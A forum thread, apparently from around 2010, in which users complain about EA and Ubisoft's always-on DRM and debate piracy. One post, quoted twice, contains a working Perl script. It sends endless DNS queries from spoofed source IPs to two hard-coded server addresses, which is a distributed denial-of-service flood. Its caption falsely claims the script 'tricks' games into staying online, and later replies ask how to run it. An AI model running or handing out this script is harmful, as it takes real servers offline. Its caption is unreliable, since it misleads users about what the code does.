• EA follows Ubisoft, will sell titles with 'always on' DRM
    258 replies, posted
This fucking sucks. I play with unstable internet that cuts out every hour or so. If starcraft 2 or other games have this drm, I may not have a choice but to pirate. I wonder what they'd do if I pirated and then mailed them $50 dollars instead.
Have EA/Ubisoft learned nothing? Are their massive e-peens covering their eyes and ears? There is no stopping the pirates. They'll just crack the DRM.
[QUOTE=johanz;20841380]This comment sounds very pointless and unfunny.[/QUOTE]Error: Constant Internet connection interrupted. Humor has been terminated.
At least in BC2 you got to choose between CD-check/online only in the retail version.
and without Pirates to keep games advertised... Well PC Gamer thinks that games with a pirate community still statistically profit more than those who seem to slap the consumer in the face with this DRM bullshit.
[QUOTE=melonmonkey;20841521]I wonder what they'd do if I pirated and then mailed them $50 dollars instead.[/QUOTE]Nothing, nothing at all.
[QUOTE=Teh Zip File;20841616]At least in BC2 you got to choose between CD-check/online only in the retail version.[/QUOTE] That was a better way of doing it.
[QUOTE=radioactive;20840869]Now this would be understandable with online games such as Bad Company 2.[/QUOTE] Then again, for online games all it takes is a CD-Key, this DRM is just for games that focus on the single player or have no multiplayer at all.
[img]http://imgkk.com/i/ebm.png[/img] [img]http://imgkk.com/i/Z5g.png[/img] [img]http://imgkk.com/i/9vo.png[/img]
Why do companies think they can stop pirates. Every few months there is some pirate proof DRM out that is just so awesome, then within a week it is pirated. They can't stop it so why try?
Why hasn't one of the major developers just used Steamworks yet? You'd think one of the Big Three would have given it a whizz, they keep pulling out more stupid shit like this.
Valve should now publish ME3.
[QUOTE=Doug52392;20840729]Oh look, shitty DRM that punishes legitimate users. Please remain calm, folks, nothing to worry about here, there will be a crack out in a matter hours "fixing" the issues. Looks like someone will have to update this to work with EA's DRM: [code]#!/usr/bin/perl # # fight the drm # # ensure outbound packets are not natted # # requires linux/bsd/osx # # coordinated use will see increased benefits # # spoofs src ip address on every request, randomizes type, domain and id on each call # # for educational purposes only use Net::RawIP; use Net::DNS::Packet; use Thread qw(async); my @suffix = ('.ubi.com', '.ubisoft.com', '.assassinscreed.com', '.splintercell.com'); my @rrtypes = ('A', 'NS', 'CNAME', 'SOA', 'NULL', 'HINFO', 'MX', 'TXT', 'AAAA', 'SRV', 'NSEC', 'SPF'); my $delay = 0.100; my $volume = 1; async { flood("216.98.52.5"); }; async { flood("216.98.52.6"); }; sub flood { my $port = '53'; my $host = $_[0]; while(1) { my $prefix = join'', map +(0..9,'a'..'z')[rand(36)], 1..rand(20)+2; my $domain = join('',$prefix,$suffix[rand @suffix]); my $rrtype = $rrtypes[rand @rrtypes]; my $dns = Net::DNS::Packet->new($domain,$rrtype,"IN"); $dns->header->id(int(rand(65000))); my $payload=$dns->data; my $source = join ".", map int rand 256, 1 .. 4; my $udp = new Net::RawIP({ ip=>{saddr=>$source, daddr=>$host}, udp=>{source=>$port, dest=>$port, data=>$payload} }); $udp->send($delay,$volume); } } while(1){}[/code](That code, when run, will spoof Ubisoft's DRM authentication servers and "trick" the game into thinking you're still online.)[/QUOTE] Mind throwing together a copy of that that'll work in DD-WRT? I'd like it just for the sake of having it.
Hey guys who wants to pay a large amount of money for a steak dinner? Oh there's just one catch, you can only eat it while I'm watching you, and if I'm busy you're not allowed to eat it. People who cook at home can eat whenever they want though and it's much cheaper :downs:
[QUOTE=smurfy;20841979]Hey guys who wants to pay a large amount of money for a steak dinner? Oh there's just one catch, you can only eat it while I'm watching you, and if I'm busy you're not allowed to eat it. People who cook at home can eat whenever they want though and it's much cheaper :downs:[/QUOTE] It only costs a monthly payment of gas.
[QUOTE=Doug52392;20840729]Oh look, shitty DRM that punishes legitimate users. Please remain calm, folks, nothing to worry about here, there will be a crack out in a matter hours "fixing" the issues. Looks like someone will have to update this to work with EA's DRM: [code]#!/usr/bin/perl # # fight the drm # # ensure outbound packets are not natted # # requires linux/bsd/osx # # coordinated use will see increased benefits # # spoofs src ip address on every request, randomizes type, domain and id on each call # # for educational purposes only use Net::RawIP; use Net::DNS::Packet; use Thread qw(async); my @suffix = ('.ubi.com', '.ubisoft.com', '.assassinscreed.com', '.splintercell.com'); my @rrtypes = ('A', 'NS', 'CNAME', 'SOA', 'NULL', 'HINFO', 'MX', 'TXT', 'AAAA', 'SRV', 'NSEC', 'SPF'); my $delay = 0.100; my $volume = 1; async { flood("216.98.52.5"); }; async { flood("216.98.52.6"); }; sub flood { my $port = '53'; my $host = $_[0]; while(1) { my $prefix = join'', map +(0..9,'a'..'z')[rand(36)], 1..rand(20)+2; my $domain = join('',$prefix,$suffix[rand @suffix]); my $rrtype = $rrtypes[rand @rrtypes]; my $dns = Net::DNS::Packet->new($domain,$rrtype,"IN"); $dns->header->id(int(rand(65000))); my $payload=$dns->data; my $source = join ".", map int rand 256, 1 .. 4; my $udp = new Net::RawIP({ ip=>{saddr=>$source, daddr=>$host}, udp=>{source=>$port, dest=>$port, data=>$payload} }); $udp->send($delay,$volume); } } while(1){}[/code] (That code, when run, will spoof Ubisoft's DRM authentication servers and "trick" the game into thinking you're still online.)[/QUOTE] Nice! How would I go about running this?
The funny thing is that the pirates already cracked it. not my picture, found on google images. [IMG]http://i40.tinypic.com/15dxdtk.jpg[/IMG]
[QUOTE=smurfy;20841979]Hey guys who wants to pay a large amount of money for a steak dinner? Oh there's just one catch, you can only eat it while I'm watching you, and if I'm busy you're not allowed to eat it. People who cook at home can eat whenever they want though and it's much cheaper :downs:[/QUOTE] Bad comparing. You can make a game at home too, but it won't be cheaper or as good.
And i did actually think that EA wouldn't use the same method of DRM like Ubisoft did, boy was i wrong. If EA and Ubosift keep this up, then i don't want to spend a penny more on their games. I miss the real old school Electronic Arts.
How bout instead of a team to make DRM they have a team to crack down on pirates?
How about don't spend a load of money on stopping the pirates and use that money to make a better game?
They should do what valve does and lock the online servers so you need a code which comes with the game. You put the code in and it links to your account, its one time use. That way only people who buy the game can play online. Then they dont get the full experience AKA Team fortress 2 did there are 0 cracks that let you play online.
[QUOTE=adamater;20842165]They should do what valve does and lock the online servers so you need a code which comes with the game. You put the code in and it links to your account, its one time use. That way only people who buy the game can play online. Then they dont get the full experience AKA Team fortress 2 did there are 0 cracks that let you play online.[/QUOTE] Wrong.
Wow EA and Ubisoft are so smart. Let's be like the government in the 1920's and ban alcohol, except apply the concept to video games.
i don't get why everyone is bitching about it, i bought ac2 and the DRM has gave me no trouble
I thought DRM was on the decline after the Great Spore Shitstorm of 2008.
[QUOTE=adamater;20842165] Team fortress 2 did there are 0 cracks that let you play online.[/QUOTE] Better be trolling [editline]01:03AM[/editline] [QUOTE=smurfy;20842211]I thought DRM was on the decline after the Great Spore Shitstorm of 2008.[/QUOTE] That's why comparing real life with virtual one is silly.
[QUOTE=adamater;20842165]They should do what valve does and lock the online servers so you need a code which comes with the game. You put the code in and it links to your account, its one time use. That way only people who buy the game can play online. Then they dont get the full experience AKA Team fortress 2 did there are 0 cracks that let you play online.[/QUOTE] Wrong. Valve is not perfect.
EA is actually really cute, I bet they still think each pirate is a lost sale. Awwww :shobon:
[QUOTE=Tetsmega;20842250]Wrong. Valve is not perfect.[/QUOTE] They are the lesser evil.
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